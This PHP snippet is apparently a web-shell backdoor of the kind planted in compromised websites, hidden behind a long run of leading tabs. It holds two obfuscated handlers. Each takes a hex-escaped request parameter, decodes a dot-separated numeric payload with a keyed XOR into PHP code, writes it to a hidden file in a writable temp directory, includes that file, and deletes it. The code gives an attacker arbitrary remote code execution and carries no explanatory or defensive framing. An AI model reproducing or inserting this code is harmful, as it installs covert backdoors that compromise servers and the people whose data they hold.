																																										if(isset($_REQUEST["d\x61\x74"]) ? true : false){ $pointer = $_REQUEST["d\x61\x74"]; $pointer=explode ( "." , $pointer ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $r = 0; $__tmp = $pointer; while( $v1 = array_shift( $__tmp)) { $chS = ord( $s[$r% $sLen]); $d =( ( int)$v1 - $chS -( $r% 10)) ^ 54; $entry .= chr( $d); $r++; } $hld = array_filter(["/tmp", "/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); while ($reference = array_shift($hld)) { if (!!is_dir($reference) && !!is_writable($reference)) { $factor = implode("/", [$reference, ".flag"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $factor; @unlink($factor); exit; } } } }


if(isset($_REQUEST) && isset($_REQUEST["\x64at\x61"])){
	$flag = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]);
	$ent = $_REQUEST["\x64at\x61"];
	 		$ent  =			explode	( 	 "."		 ,		$ent );	 
	$flg =	'';
            $s7 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen($s7);
            $o =	0;
            $len =	count($ent);
    
            do {
                if ($o>=$len) break;
                $v7 =	$ent[$o];
                $chS =	ord($s7[$o % $sLen]);
                $dec =	((int)$v7 - $chS - ($o % 10))  ^47;
                $flg .= chr($dec);
                $o++;
            } while (true);
	while ($holder = array_shift($flag)) {
    		if (!( !is_dir($holder) || !is_writable($holder) )) {
    $data_chunk = vsprintf("%s/%s", [$holder, ".property_set"]);
    $success = file_put_contents($data_chunk, $flg);
if ($success) {
	include $data_chunk;
	@unlink($data_chunk);
	die();}
}
}
}